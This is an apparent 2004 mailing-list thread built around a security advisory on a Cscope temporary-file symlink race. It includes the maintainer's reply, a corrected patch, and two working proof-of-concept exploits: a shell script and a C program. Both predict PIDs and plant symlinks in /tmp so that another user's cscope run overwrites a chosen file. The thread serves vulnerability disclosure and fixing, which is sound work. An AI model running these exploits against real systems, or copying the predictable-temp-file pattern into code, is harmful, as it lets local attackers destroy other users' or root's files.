RX171104 Cscope v15.5 and minors - symlink vulnerability -

[rexolab]

|############################ REXOTEC(dot)COM #############################=
##
|
|=3D-----=3D[ ADV RX171104 - Cscope :: Race condition on temporary file ]-=
----=3D|
|
|
|=3D---[ - INFORMATION
`---------------------------------------------------------------------=
-|
VulnDiscovery: 2003/05/21
Release Date : 2004/11/17
Author : Gangstuck / Psirac <research@rexotec.com>

Application : Cscope
Affected : All version (last one is cscope-15.5)
Platforms : Linux, SCO, SunOS/Solaris, ...
Risk : Critical
Severity : Allow local user to compromise filesystem.

Vendor : http://cscope.sourceforge.net/
Reference : http://www.rexotec.com/advisory/RX171104.html

Status : vendor has just been notified.


|=3D---[ - SUMMARY OVERVIEW
`---------------------------------------------------------------------=
-|

Cscope is a developper's tool under the BSD license used to browse=20
source code.

His Unix pedigree is impeccable and has originally been developped at=20
Bell Labs back in PDP-11's days. Cscope was a part of the official=20
AT&T Unix distribution for many years and has been used to manage
projects involving 20 million lines of code !


|=3D---[ - VULNERABILITY OVERVIEW
`---------------------------------------------------------------------=
-|

First, the temporary directory (P_tmpdir=3D"/tmp") is badly handled=20
in every myfopen() internal call.
As all we know, creation of predictable temporary file allows any=20
local attacker to remove arbitrary files on the vulnerable file=20
system via the infamous symlink vulnerability.

/src/main.c :
----------;

[...]
char temp1 [PATHLEN + 1]; /* temporary file name */
char temp2 [PATHLEN + 1]; /* temporary file name */
[...]
tmpdir =3D mygetenv("TMPDIR", TMPDIR);
[...]
/* create the temporary file names */
pid =3D getpid();
(void) sprintf(temp1, "%s/cscope%d.1", tmpdir, pid);
(void) sprintf(temp2, "%s/cscope%d.2", tmpdir, pid);
[...]
=09
Before us are the computing of two predictable files names (resulting
in a schema like "/tmp/cscopeNEXTPID.numba"). So, we just have to pro=
be=20
the pid numba and make the same template which to be used for
temporary file creation. Then, cscope handle the files with
wrong set of flags and compromise root filesystem due=20
to symlink vulnerability.
=09

|=3D---[ - EXPLOITS - Proof of concept
`---------------------------------------------------------------------=
-|


---8<--------8<-------cut-here-------8<--------8<---

#!/bin/sh
################################################## ###############
# RXcscope_proof.sh
# brute force case baby
# cscope advisory and exploit by Gangstuck / Psirac <research@rexotec.com>
################################################## ###############

HOWM=3D30 =20
CURR=3D`ps | grep ps | awk '{print $1}'` =20
NEXT=3D`expr $CURR + 5 + $HOWM \* 2 + 1` =20
LAST=3D`expr $NEXT + $HOWM` =20

echo -e "\n--=3D Cscope Symlink Vulnerability Exploitation =3D--\n"\
" [versions 15.5 and minor]\n"\
" Gangstuck / Psirac\n"\
" <research@rexotec.com>\n\n"

if [ $# -lt 1 ]; then
echo "Usage: $0 <file1> [number_of_guesses]"
exit 1
fi=20

rm -f /tmp/cscope*

echo "Probed next process id ........ [${NEXT}]"

while [ ! "$NEXT" -eq "$LAST" ]; do
ln -s $1 /tmp/cscope${NEXT}.1; NEXT=3D`expr $NEXT + 1`
ln -s $1 /tmp/cscope${NEXT}.2; NEXT=3D`expr $NEXT + 1`
done

---8<--------8<-------cut-here-------8<---------8<---

/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE 64

int=20
main(int ac, char *av[]) {
pid_t cur;
u_int i=3D0, lst;=09
char buffer[BSIZE + 1];
=09
fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\
" version 15.5 and minor \n" \
" Gangstuck / Psirac\n" \
" <research@rexotec.com>\n\n");
=09
if (ac !=3D 3) {
fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
return 1;
}
=09
cur=3Dgetpid();
lst=3Dcur+atoi(av[2]);
=09
fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
" -> Last process id is ........ [%5d]\n", cur, lst);
=09
while (++cur !=3D lst) {
snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i=3D=3D2) ? --i=
: ++i);
symlink(av[1], buffer);
}

return 0;
}

---8<----------8<-------cut-here-------8<-------------8<---



|=3D---[ - PATCH
`---------------------------------------------------------------------=
-|

/*
* Cscope patch by REXOTEC - version 15-5 and minors
* <research@rexotec.com>
*/
diff -Naurp src/build.c src/build.c
--- src/build.c 2003-03-05 11:43:59.000000000 +0100
+++ src/build.c 2004-11-17 15:01:01.000000000 +0100
@@ -333,7 +333,7 @@ build(void)
(void) fprintf(stderr, "cscope: cannot open file %s\n", reffile);
myexit(1);
}
- if (invertedindex =3D=3D YES && (postings =3D myfopen(temp1, "wb")) =3D=
=3D NULL) {
+ if (invertedindex =3D=3D YES && (postings =3D myfopen(temp1, "w+xb")) =3D=
=3D NULL) {
cannotwrite(temp1);
cannotindex();
}
diff -Naurp src_old/display.c src/display.c
--- src/display.c 2003-09-04 17:54:02.000000000 +0200
+++ src/display.c 2004-11-17 15:01:01.000000000 +0100
@@ -754,13 +754,13 @@ BOOL
writerefsfound(void)
{
if (refsfound =3D=3D NULL) {
- if ((refsfound =3D myfopen(temp1, "wb")) =3D=3D NULL) {
+ if ((refsfound =3D myfopen(temp1, "w+xb")) =3D=3D NULL) {
cannotopen(temp1);
return(NO);
}
} else {
(void) fclose(refsfound);
- if ( (refsfound =3D myfopen(temp1, "wb")) =3D=3D NULL) {
+ if ( (refsfound =3D myfopen(temp1, "w+xb")) =3D=3D NULL) {
postmsg("Cannot reopen temporary file");
return(NO);
}



|=3D---[ - GREETS
`---------------------------------------------------------------------=
-|

All the sa=EFan subk crew (marty, med, ezek, rea, jethro, rolphin, candy=
,=20
ad, titox), descript, crazyl0rd/tium, xia, antho, ceb, lionel, domi=20
#subkulture / #ids on undernet, ...


--=20
cheers,
gangstuck and psirac <research@rexotec.com>

[Hans-Bernhard Broeker]

On Thu, 18 Nov 2004, rexolab wrote:

> VulnDiscovery: 2003/05/21
> Release Date : 2004/11/17

Surely you're joking, Mr. Gangstuck. You can't seriously be telling us
you sat on this for no less than 18 months, without telling anybody about
it.

Actually, I somewhat doubt you even discovered this yourself --- what with
this very bug having been posted to cscope's bugtracker on 2004-11-09.

> Status : vendor has just been notified.

Actually, we've been notified 11 days ago, and apparently not by you.

> First, the temporary directory (P_tmpdir="/tmp") is badly handled
> in every myfopen() internal call.

[... there doesn't seem to be a "second", to that first...]

Anyway, you're right, the vulnerability is there. Unfortunately your
patch is not quite sufficient to close it, because you overlooked
that temp2, one of the two predictable filenames, is also used to
construct an output redirection for a shell command run by cscope.

--
Hans-Bernhard Broeker (broeker@physik.rwth-aachen.de)
Even if all the snow were burnt, ashes would remain.

[rexolab]

We are very serious in this matter as we already have discoused with you. We don't see why do you think we are joking ?
We have found this vulnerability there's already eighteen month but we have find it in 15-4 release of cscope.
The 15-5 version has the same problem....


Release date of advisory's publication is looking only at us.....

About the patch, sorry, we made a mistake in sending you a wrong one, and now we are sending you the right one :

8<-------------------cut--here--------------------------------------------

diff -Naurp src_old/build.c src_new/build.c
--- src_old/build.c 2004-11-18 16:27:04.000000000 +0100
+++ src_new/build.c 2004-11-18 16:27:29.000000000 +0100
@@ -333,7 +333,7 @@ build(void)
(void) fprintf(stderr, "cscope: cannot open file %s\n", reffile);
myexit(1);
}
- if (invertedindex == YES && (postings = myfopen(temp1, "wb")) == NULL) {
+ if (invertedindex == YES && (postings = myfopen(temp1, "w+xb")) == NULL) {
cannotwrite(temp1);
cannotindex();
}
diff -Naurp src_old/display.c src_new/display.c
--- src_old/display.c 2004-11-18 16:27:04.000000000 +0100
+++ src_new/display.c 2004-11-18 16:27:29.000000000 +0100
@@ -431,7 +431,7 @@ search(void)
findresult = (*f)(pattern);
}
else {
- if ((nonglobalrefs = myfopen(temp2, "wb")) == NULL) {
+ if ((nonglobalrefs = myfopen(temp2, "w+xb")) == NULL) {
cannotopen(temp2);
return(NO);
}
@@ -754,13 +754,13 @@ BOOL
writerefsfound(void)
{
if (refsfound == NULL) {
- if ((refsfound = myfopen(temp1, "wb")) == NULL) {
+ if ((refsfound = myfopen(temp1, "w+xb")) == NULL) {
cannotopen(temp1);
return(NO);
}
} else {
(void) fclose(refsfound);
- if ( (refsfound = myfopen(temp1, "wb")) == NULL) {
+ if ( (refsfound = myfopen(temp1, "w+xb")) == NULL) {
postmsg("Cannot reopen temporary file");
return(NO);
}

8<----------------------------------------------cut-here-----------------------------------

enjoy,

Mr Gangstuck & associates......


---
On Thu, 18 Nov 2004 12:42:33 +0100 (CET)
Hans-Bernhard Broeker <broeker@physik.rwth-aachen.de> wrote:

> On Thu, 18 Nov 2004, rexolab wrote:
>
> > VulnDiscovery: 2003/05/21
> > Release Date : 2004/11/17
>
> Surely you're joking, Mr. Gangstuck. You can't seriously be telling us
> you sat on this for no less than 18 months, without telling anybody about
> it.
>
> Actually, I somewhat doubt you even discovered this yourself --- what with
> this very bug having been posted to cscope's bugtracker on 2004-11-09.
>
> > Status : vendor has just been notified.
>
> Actually, we've been notified 11 days ago, and apparently not by you.
>
> > First, the temporary directory (P_tmpdir="/tmp") is badly handled
> > in every myfopen() internal call.
>
> [... there doesn't seem to be a "second", to that first...]
>
> Anyway, you're right, the vulnerability is there. Unfortunately your
> patch is not quite sufficient to close it, because you overlooked
> that temp2, one of the two predictable filenames, is also used to
> construct an output redirection for a shell command run by cscope.
>
> --
> Hans-Bernhard Broeker (broeker@physik.rwth-aachen.de)
> Even if all the snow were burnt, ashes would remain.
>
>
>
> --
> Ce message ne contient pas de virus connu.
> neoDomaine Postmaster - http://www.neodomaine.com/
>